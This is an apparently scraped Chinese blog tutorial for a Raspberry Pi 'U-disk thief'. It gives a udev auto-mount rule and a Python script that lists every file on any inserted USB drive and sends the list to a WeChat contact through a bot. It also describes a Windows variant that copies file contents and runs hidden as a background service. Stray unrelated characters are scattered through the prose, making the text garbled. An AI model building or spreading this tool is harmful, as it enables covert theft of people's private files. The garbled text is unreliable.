最近一直在學(xué)習(xí)Python爬蟲矫膨,可能隨著研究的深入,受到爬蟲技術(shù)的感染期奔,開始對(duì)獲取別人的數(shù)據(jù)產(chǎn)生了興趣侧馅,Python寫網(wǎng)頁(yè)爬蟲是獲取別人網(wǎng)站上的數(shù)據(jù),那可不可以用Python寫一個(gè)程序獲取別人U盤上的數(shù)據(jù)呢呐萌!研究了網(wǎng)上的一些程序馁痴,結(jié)合手上的這塊可以帶來(lái)無(wú)限歡樂的Raspberry Pi,開始制作了我的第一個(gè)簡(jiǎn)單的黑客小工具U-disk-thief(U盤小偷)搁胆。
我們要實(shí)現(xiàn)的效果是弥搞,當(dāng)有U盤插入到樹莓派的USB插口上時(shí),被插入的U盤中文件的名稱及文件路徑信息將生成一個(gè)TXT格式的文件渠旁,之后傳入到你制定的微信當(dāng)中攀例,程序執(zhí)行的速度取決于U盤中文件個(gè)數(shù)的多少。
在這里做一個(gè)說(shuō)明顾腊,寫這個(gè)程序并不是要對(duì)別人的數(shù)據(jù)及隱私進(jìn)行扒竊粤铭,只是為了對(duì)Python編程的學(xué)習(xí)和技術(shù)的研究。話又說(shuō)回來(lái)杂靶,就我周圍這些人的U盤梆惯,也沒什么有價(jià)值的數(shù)據(jù)值得獲取,反而是U盤里攜帶著各種蠕蟲病毒和宏病毒吗垮,經(jīng)常是過(guò)來(lái)找我?guī)兔oU盤殺毒或者是恢復(fù)U盤里被隱藏的文件垛吗,真是不愿意將這些U盤鏈接到電腦上!好了烁登,話不多說(shuō)怯屉,開始我們的制作過(guò)程吧!
1.準(zhǔn)備材料
(1)樹莓派
(2)兩部可以登錄微信的智能手機(jī)(分別用于登錄兩個(gè)互為好友的微信號(hào))
(3)U盤一個(gè)
2.樹莓派鏈接U盤自動(dòng)識(shí)別
由于樹莓派上安裝的是Linux系統(tǒng)饵沧,無(wú)法對(duì)插入的U盤進(jìn)行自動(dòng)識(shí)別并掛在锨络,在制作前需要在樹莓派上進(jìn)行設(shè)置,實(shí)現(xiàn)鏈接U盤自動(dòng)識(shí)別狼牺,方法如下:
在樹莓派上輸入命令
sudo nano /etc/udev/rules.d/10-usbstorage.rules
復(fù)制粘貼這個(gè)腳本到編輯窗口
KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"
SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"
IMPORT{program}="/sbin/blkid -o udev -p %N"
ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"
ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"
ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"
ACTION=="add", ENV{mount_options}="relatime,sync"
ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"
ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"
ACTION=="add", RUN+="/bin/mkdir -p /media/%E{dir_name}", RUN+="/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}"
ACTION=="remove", ENV{dir_name}!="", RUN+="/bin/umount -l /media/%E{dir_name}", RUN+="/bin/rmdir /media/%E{dir_name}"
LABEL="media_by_label_auto_mount_end"
保存退出!
再次插入U(xiǎn)盤設(shè)備 會(huì)自動(dòng)掛載到/media目錄下面的目錄被識(shí)別為Untitled-sda1(路徑為/media/Untitled-sda1,記住這個(gè)路徑羡儿,一會(huì)我們將會(huì)用到), 實(shí)現(xiàn)自動(dòng)識(shí)別后可以支持U盤中utf8格式的中文文件名是钥。
3.python代碼
import os
import time
import shutil
import string
from wxpy import *
#識(shí)別到的U盤路徑
USB = '/media/Untitled-sda1'
#生成TXT文件的保存路徑
SAVE = '/home/pi/usbdisk-copy/'
OLD=[]
#初始化微信機(jī)器人
bot = Bot()
my_friend = bot.friends().search('高桿')[0]
#獲取U盤信息的函數(shù)
def usbWalker():
if not os.path.exists(SAVE):
os.mkdir(SAVE)
filename="u-copy.txt"
f=open(filename,"w")
for root, dirs, files in os.walk(USB):
for file in files:
export = os.path.join(root,file)
f.writelines(export+'\n')
f.close
#檢測(cè)U盤是否重復(fù)的函數(shù)
def getusb():
global OLD
NEW=os.listdir(USB)
if (len(NEW)==len(OLD)):
return 0
else:
OLD=NEW
return 1
#執(zhí)行程序檢測(cè)U盤是否插入掠归,并進(jìn)行處理!
while TRUE:
if os.path.exists(USB):
if getusb():
try :
usbWalker()
try:
my_friend.send_file('u-copy.txt')
except:
my_friend.send('Send Error')
except:
pass
else:
pass
#設(shè)置程序執(zhí)行間隔時(shí)間為10秒
time.sleep(10)
4.代碼解析
程序代碼比較容易理解咏瑟,首先是檢測(cè)指定的系統(tǒng)路徑下的文件夾是否存在拂到,也就是U盤插入顯示的文件夾USB=/media/Untitled-sda1,若不存在就間隔10秒再次執(zhí)行檢測(cè)码泞,若發(fā)現(xiàn)U盤兄旬,則執(zhí)行獲取U盤信息的函數(shù)def usbWalker(),函數(shù)將生成一個(gè)u-copy.txt的文本文件存儲(chǔ)在'/home/pi/usbdisk-copy/'路徑下余寥,注意這里的usbdisk-copy文件夾是我們提前建好的领铐,并且Python程序文件也存儲(chǔ)在這個(gè)路徑下,u-copy.txt文件生成后將發(fā)送到制定的微信中(這一步的具體實(shí)現(xiàn)方法可以參照我之前的兩篇文章《Python+樹莓派 實(shí)現(xiàn)微信拍照宋舷、攝相機(jī)器人》和《Python+樹莓派+人體紅外感應(yīng)模塊 實(shí)現(xiàn)微信監(jiān)控》關(guān)于微信機(jī)器人的使用)绪撵。若U盤一直插在樹莓派上,則一直進(jìn)行著程序祝蝠,這樣就會(huì)反復(fù)生成u-copy.txt文件音诈,這樣很不合理幻碱,所以在執(zhí)行生成txt文件函數(shù)前,先執(zhí)行檢測(cè)U盤是否重復(fù)的函數(shù)def getusb()细溅,進(jìn)行簡(jiǎn)單的重復(fù)比較褥傍,若發(fā)現(xiàn)重復(fù)則不執(zhí)行def usbWalker()函數(shù)。
5.應(yīng)用擴(kuò)展
這個(gè)程序同樣可以修改后在windows系統(tǒng)上執(zhí)行喇聊,修改代碼增加文件拷貝函數(shù)恍风,不但可以讀取到U盤的文件名稱和路徑,還能copy文件詳細(xì)內(nèi)容誓篱,或者可以指定copyU盤中那些類型的文件(.doc/.xls/.ppt/.txt......)朋贬,也可以省去微信發(fā)送的環(huán)節(jié),將copy的文件存儲(chǔ)起來(lái)窜骄,由于樹莓派的存儲(chǔ)空間比較小锦募,這里沒有這么做,但是我在windows系統(tǒng)上完成了上述擴(kuò)展的程序邻遏,并且用Python的打包工具pyinstaller 將程序打包成了.exe執(zhí)行程序,還設(shè)置成windows的本地服務(wù)后臺(tái)運(yùn)行御滩,這樣就可以更加神不知鬼不覺的獲取U盤數(shù)據(jù)。
以上就是這個(gè)簡(jiǎn)單的黑客小工具制作党远,這里純粹是為了技術(shù)的分享削解,若你用這種方式做了一些bad thing,請(qǐng)后果自負(fù)沟娱,是不是腦袋里已經(jīng)想著要copy誰(shuí)的U盤啦氛驮!慎重、慎重<盟啤=梅稀!